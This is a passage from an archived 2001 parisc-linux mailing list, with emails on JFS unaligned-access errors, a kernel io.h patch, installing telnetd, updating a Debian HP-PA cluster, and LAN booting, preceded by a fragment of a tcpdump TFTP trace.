11:04:29.214137 mirage.13572 > gorilla.1028: udp 5 [tos 0x10]
11:04:29.214237 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:04:29.214890 mirage.842 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:04:29.239187 gorilla.1028 > mirage.842: udp 21
11:04:29.239975 mirage.842 > gorilla.1028: udp 5 [tos 0x10]
11:04:29.240069 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:04:29.240745 mirage.52098 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:04:29.265085 gorilla.1028 > mirage.52098: udp 21

--a8Wt8u1KmwUX3Y2C--




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Once more: JFS
Date: Tue, 14 Aug 2001 08:25:32 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20010814082532.A15709@tausq.org>
References: <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de> <Pine.LNX.4.33.0108141157560.12006-100000@leo.uni-sw.gwdg.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620383 23686 80.91.229.3 (22 Nov 2014 01:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 09:26:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03A4E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 09:26:00 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id jwnchaaa for parisc-linux@lists.parisc-linux.org; Tue, 14 Aug 2001 08:22:10 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15Wg4S-0006Je-00; Tue, 14 Aug 2001 08:25:32 -0700
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0108141157560.12006-100000@leo.uni-sw.gwdg.de>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11878

> And hundreds more similar errors when doing a manual fsck.jfs are
> written to kern.log, and this check never finishes...
> 
> This time it seems to be a PA-RISC-Linux problem, as I recall
> earlier problems with "unaligned access" messages.

The unaligned messages by themselves indicate a *user-space* problem. We can
look at the fsck.jfs code and see what it's doing.... my guess is that
there's some casting going on that is causing the unaligned accesses.
For example, if you had something like this:

char foo[10];
long *bar = (long *)(foo+2);

*bar = 10;

then it will trigger an unaligned access. (usually it's not quite that
obvious though)

If you see a "Not-handled unaligned access" message then there's a
kernel issue that we need to address, but doesn't seem to be the case
here.

Please visit http://bugs.parisc-linux.org/ and follow the instructions
to file a bug, and we will look into this.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Tue, 14 Aug 2001 17:02:12 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <20010814170212.A22144@parcelfarce.linux.theplanet.co.uk>
References: <willy@debian.org> <200108091506.JAA13380@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620383 23688 80.91.229.3 (22 Nov 2014 01:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:43 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 10:02:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C96EA482A
	for <parisc-linux@parisc-linux.org>; Tue, 14 Aug 2001 10:02:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Wgdw-00061N-00; Tue, 14 Aug 2001 17:02:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108091506.JAA13380@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Thu, Aug 09, 2001 at 09:06:43AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11879

On Thu, Aug 09, 2001 at 09:06:43AM -0600, Grant Grundler wrote:
> Yes. AFAIK, LASI sub-devices are listed by PDC. For Dino HPUX makes
> a special hvers PDC call. Need to look at the HPUX code or Raven PDC ERS.

If you could dig those out for me, that'd be great.  I'm not familiar with
the layout of the HPUX source tree yet.

> > 
> > Here's my plan:
> > 
> >  * From setup_arch, call PDC to get a list of devices.  Put them in a
> >    table (marked __init, will be freed later).
> 
> Why not start building a tree with "place holder" nodes directly?
> Do we need the intermediate table because of memory issues?
> 
> ie build a "sparse" tree and have Native Bus walk fill in (or update
> wrong) info for devices it finds.

Two reasons: first, kmalloc isn't initialised at this point.  Changing
this would be moderately hard and would require a large reorganisation
of the initialisation code.  Secondly, building a sparse tree would take
more code :-)

> >  * In the badly-named gsc_init, or perhaps in pcibios_init, start the
> >    ABW at 0xFFF80000 -- this seems to be the defined location for the
> >    central bus.
> 
> My long term goal is to be able to build a kernel w/o CONFIG_PCI defined.
> And renaming gsc_init to native_bus_init() sounds like a good idea.

That's a good point.  A good step towards that would be..

Index: include/asm-parisc/io.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/io.h,v
retrieving revision 1.22
diff -u -p -r1.22 io.h
--- io.h        2001/07/15 22:30:29     1.22
+++ io.h        2001/08/14 15:59:37
@@ -43,9 +43,6 @@
 #endif /* USE_HPPA_IOREMAP */
 
 #if defined(CONFIG_PCI) || defined(CONFIG_ISA)
-/*
- *     So we get clear link errors 
- */
 extern unsigned char inb(unsigned long addr);
 extern unsigned short inw(unsigned long addr);
 extern unsigned int inl(unsigned long addr);
@@ -54,6 +51,13 @@ extern void outb(unsigned char b, unsign
 extern void outw(unsigned short b, unsigned long addr);
 extern void outl(unsigned int b, unsigned long addr);
 
+#else
+#define inb(a) BUG()
+#define inw(a) BUG()
+#define inl(a) BUG()
+#define outb(a) BUG()
+#define outw(a) BUG()
+#define outl(a) BUG()
 #endif
 
 extern void memcpy_fromio(void *dest, unsigned long src, int count);


-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Once more: JFS
Date: Tue, 14 Aug 2001 18:24:07 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108141808360.12006-100000@leo.uni-sw.gwdg.de>
References: <20010814082532.A15709@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620383 23690 80.91.229.3 (22 Nov 2014 01:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:43 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 10:24:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id E18C0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 10:24:25 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15Wgz9-0005SC-00; Tue, 14 Aug 2001 18:24:07 +0200
In-Reply-To: <20010814082532.A15709@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:11880

On Tue, 14 Aug 2001, Randolph Chung wrote:

> The unaligned messages by themselves indicate a *user-space* problem. We can
> look at the fsck.jfs code and see what it's doing.... my guess is that
> there's some casting going on that is causing the unaligned accesses.
[...]
> then it will trigger an unaligned access. (usually it's not quite that
> obvious though)

I am a bit out of programming, so I reported it to the JFS people,
they should be faster at finding this than me.

> If you see a "Not-handled unaligned access" message then there's a
> kernel issue that we need to address, but doesn't seem to be the case
> here.

No, none like that. Thanks for the explenation!

	Peter.





From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.8
Date: Tue, 14 Aug 2001 17:38:01 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010814173801.D22144@parcelfarce.linux.theplanet.co.uk>
References: <20010811145450.O22097@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620384 23696 80.91.229.3 (22 Nov 2014 01:39:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:44 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 10:38:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B830482A
	for <parisc-linux@parisc-linux.org>; Tue, 14 Aug 2001 10:38:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15WhCb-0006mV-00
	for parisc-linux@parisc-linux.org; Tue, 14 Aug 2001 17:38:01 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010811145450.O22097@neep.com.au>; from andrew@neep.com.au on Sat, Aug 11, 2001 at 02:54:53PM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11881

On Sat, Aug 11, 2001 at 02:54:53PM +0800, Andrew Shugg wrote:
> 2.4's patchlevel is getting closer to double digits.  Does this mean
> upgrades are getting safer?  =)
> 
> Or less facetiously, is another CVS merge planned or are there problems
> in this release as with 2.4.7?  (Don't follow l-k and am just curious.)

I think we should plan to merge in 2.4.8 this week.  Paul, can you do the
CVS magic sometime soon?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "TOLAND,CHRISTOPHER (HP-USA,ex1)" <christopher_toland@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Telnetd ?
Date: Tue, 14 Aug 2001 11:10:23 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <EF3C37D1121CD511894800A0C9E3AE7DA99C7B@xatl04.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620384 23700 80.91.229.3 (22 Nov 2014 01:39:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 12:10:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id E75FA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 12:10:32 -0600 (MDT)
Original-Received: from xparelay2.corp.hp.com (unknown [15.58.137.112])
	by palrel2.hp.com (Postfix) with ESMTP id E87D112D6
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 11:10:31 -0700 (PDT)
Original-Received: from xpabh2.corp.hp.com (xpabh2.corp.hp.com [15.58.136.192])
	by xparelay2.corp.hp.com (Postfix) with ESMTP id 7BD771F519
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 11:10:27 -0700 (PDT)
Original-Received: by xpabh2.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <Q6NNXJCA>; Tue, 14 Aug 2001 11:10:27 -0700
Return-Receipt-To: "TOLAND,CHRISTOPHER (HP-USA,ex1)" <christopher_toland@hp.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11882

installed 0.9.2 from cd ,, can ping and telnet out ,, unable to telnet in ,,
looked in inetd.conf -- no ref to telnetd ,, looked for telnetd none found
,, thanks for the help in advance

christopher




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Telnetd ?
Date: Tue, 14 Aug 2001 20:21:15 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3B796C1B.C87DCD0C@esiee.fr>
References: <EF3C37D1121CD511894800A0C9E3AE7DA99C7B@xatl04.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620384 23702 80.91.229.3 (22 Nov 2014 01:39:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "TOLAND,CHRISTOPHER (HP-USA,ex1)" <christopher_toland@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 12:18:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC0A2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 12:18:38 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 70858D15AF; Tue, 14 Aug 2001 20:18:36 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11883

Hi Christopher,

By default, telnetd is not installed. You have to do it with apt-get
install telnetd

The point is during the install, you should have been asked to give some
info in order to download automatically the packages via apt-get.

If the command is not working, go into /etc/apt and add the following
line to sources.list:
deb http://http.us.debian.org/debian unstable main

And if you have a proxy, do not forget to create apt.conf file
containing this line:
Acquire::http::Proxy "http://your.proxy.fqdn:port/";

Good luck, Thomas.
ESIEE Team




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Telnetd ?
Date: 14 Aug 2001 12:31:28 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <87hevabiin.fsf@rover.gag.com>
References: <EF3C37D1121CD511894800A0C9E3AE7DA99C7B@xatl04.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620385 23707 80.91.229.3 (22 Nov 2014 01:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 12:31:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from merulo.debian.org (merulo.external.hp.com [192.25.206.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 791DD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 12:31:36 -0600 (MDT)
Original-Received: from winfree.gag.com [192.133.104.8] 
	by merulo.debian.org with esmtp (Exim 3.32 1 (Debian))
	id 15WiZB-0002L6-00; Tue, 14 Aug 2001 12:05:25 -0600
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 5074C241ED
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 12:31:32 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 2025D3BDFF; Tue, 14 Aug 2001 12:31:28 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <EF3C37D1121CD511894800A0C9E3AE7DA99C7B@xatl04.atl.hp.com>
Original-Lines: 12
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:11884

christopher_toland@hp.com (TOLAND,CHRISTOPHER HP-USA,ex1) writes:

> installed 0.9.2 from cd ,, can ping and telnet out ,, unable to telnet in ,,
> looked in inetd.conf -- no ref to telnetd ,, looked for telnetd none found
> ,, thanks for the help in advance

The telnetd package is available for installation on hppa from any Debian
mirror.  I can't comment on why it was or was not included in the CD image,
but I can tell you that I don't allow telnetd's on machines I personally
administer because of the various security issues.  I strongly prefer ssh...

Bdale




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Users staying up to date.
Date: Tue, 14 Aug 2001 15:40:37 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <20010814154037.I25258@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620385 23709 80.91.229.3 (22 Nov 2014 01:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 13:40:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18663482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 13:40:07 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7EJp9X30667
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 15:51:09 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7EJebu26035
	for parisc-linux@lists.parisc-linux.org; Tue, 14 Aug 2001 15:40:37 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (21% Sync Ratio [==........])
Xref: news.gmane.org gmane.linux.ports.parisc:11885

parisc,

I would like to say that you guys have done a great job
with this port!

I was just looking to bounce some ideas off the list members.
As an avid user, I was just musing to myself, how can I keep
everything up to date (kernel/glibc/packages)?

Obviously the latest kernel/glibc/gcc... will reside in the
CVS. It's a matter of slurping/building and testing on one
of our boxen.

The packages are a slightly different matter. Is the 0.9.2
iso the latest collection of packages? Is anyone in debain-hppa
compiling/testing packages?

We have a cluster of 30x 715/50's running.
And for one reason or another have not quite gotten the debian
installer to run to completetion (nor can I spend the time to
install on each node... that's what scripts and root tarballs
are for).

Instead we have used the baseplus tar from sid to install the nodes.
The only extra packages we required were NIS(yp*) and MPICH(1.2.1).

I recently found though, that when compiling more complicated
MPI programs, cc and ld start dropping SIG11's like there was
no tommorow (more on this after I do some testing).

Is there a fundamental flaw in using sid's baseplus tarball for
the 715/50 systems?

We were doing:
1- Unpack sid baseplus root tarball
2- x-compiled and installed NIS(yp*) and MPICH
3- Use this as my new root tarball for the rest of the cluster

Should I be doing:

1- Unpack sid baseplus and export via nfs
2- Download latest debs and export via nfs
3- Boot "clone" box with nfs root
4- Point apt to the debs on the nfs share
5- Update packages like mad
6- Use "clone" as my new root tarball for the rest of the cluster

Really, I'm just looking for a simple way to stay up to date
with all the latest packages and kernel changes :)

Cheers,
Carlos O'Donell Jr.
-------------------------
Baldric Project
http://www.baldric.uwo.ca
-------------------------




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: 14 Aug 2001 13:46:11 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <87zo92a0ho.fsf@rover.gag.com>
References: <20010814154037.I25258@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620385 23712 80.91.229.3 (22 Nov 2014 01:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 13:46:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from merulo.debian.org (merulo.external.hp.com [192.25.206.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C77E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 13:46:17 -0600 (MDT)
Original-Received: from winfree.gag.com [192.133.104.8] 
	by merulo.debian.org with esmtp (Exim 3.32 1 (Debian))
	id 15WjjP-0002R0-00; Tue, 14 Aug 2001 13:20:03 -0600
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id E1E5C2420C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 13:46:13 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id AD8B43BDFF; Tue, 14 Aug 2001 13:46:11 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <20010814154037.I25258@megatonmonkey.net>
Original-Lines: 27
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:11886

carlos@baldric.uwo.ca (Carlos O'Donell Jr.) writes:

> Obviously the latest kernel/glibc/gcc... will reside in the
> CVS. It's a matter of slurping/building and testing on one
> of our boxen.

Actually, I just uploaded gcc to the Debian archive built entirely from the
Debian source package, and am working on glibc right now.  The only thing that
there is still any need to use CVS for is the kernel, and I'll be working on
that too once the merge up to 2.4.8 is done.

> The packages are a slightly different matter. Is the 0.9.2
> iso the latest collection of packages? Is anyone in debain-hppa
> compiling/testing packages?

We have a full-time Debian autobuilder running, so on any given day in excess
of 70% of all Debian packages are fully up to date in the unstable tree of
the Debian mirrors.

For a cluster config such as yours, the ideal situation is probably to set 
up a caching proxy like a squid server, and then configure all of your machines
to do their apt-get's from the Debian mirror network through the cache.  That
keeps you as current as you want to be, eliminates any manual steps involved
in maintaining a local cache of packages, and means that you only pull each
package once from the mirror network.

Bdale




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <christian@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LAN booting
Date: Tue, 14 Aug 2001 13:53:37 +0000
Organization: private
Lines: 45
Approved: news@gmane.org
Message-ID: <20010814135337.C345@familie-weerts.de>
References: <christian@familie-weerts.de> <200108132355.RAA14012@puffin.external.hp.com>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620386 23715 80.91.229.3 (22 Nov 2014 01:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:46 +0000 (UTC)
Cc: parisc-ml <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 13:48:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.familie-weerts.de (dialin-fl-71247.ewetel.net [212.6.71.247])
	by dsl2.external.hp.com (Postfix) with ESMTP id 312DD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 13:48:18 -0600 (MDT)
Original-Received: from cw by mail.familie-weerts.de with local (Exim 3.12 #1 (Debian))
	id 15WedV-00006F-00; Tue, 14 Aug 2001 13:53:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108132355.RAA14012@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Aug 13, 2001 at 05:55:23PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11887

* Grant Grundler <grundler@puffin.external.hp.com> [010813 23:55]:
> Christian Weerts wrote:
> > Hi,
> > 
> > is there anyone who has a running 715/80? I want to build a kernel for this
> > machine discribed in the nfsroot howto from Martin Petersen, but i don't
> > have HP-UX anywhere.
> 
> You don't need to have HPUX - note the date of Martin's HOW-TO.
> It was posted when we were still using SOM binaries and the linker only
> ran under HPUX. You should be able to install from the 0.92 ISO
> and build kernels natively.
I will try, but first i had to boot the machine over LAN, that's my problem
at the moment.
The RISC-Machine tells something like "Error: cannot load IPL, error
detected. Bootprocess failed..."
Perhaps you could help me, so i attach the bootptab and the dhcp-conf. Also
attached are the daemon.log and output from tcpdump. Btw., gorilla is the
server and mirage the client.
I don't know what's wrong. 
On the risc-machine i told him to boot from the lan.<hw-addr-server>.

> 
> Or build kernels on x86-linux using the XC toolchain built by Matt Taggart
> and posted to the puffin.external.hp.com ftp site. Search parisc-linux
> mail archives since May 2001 if you want the full URL.
Ack.

> 
> > If i had a kernel perhaps i could boot the machine over LAN.
> 
> Could you mount the 0.92 ISO on an x86-linux box and steal that kernel?
> (there are probably several but just try the 32-bit ones.)
I'll try. So, you mean i don't need the nfsroot-package named in Martin's
HOWTO?

Greets from northern germany

	Christian

-- 
http://oldenburg.linux.de




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.8
Date: Tue, 14 Aug 2001 14:04:38 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <m15WkQY-000OUsC@bame.riverrock.org>
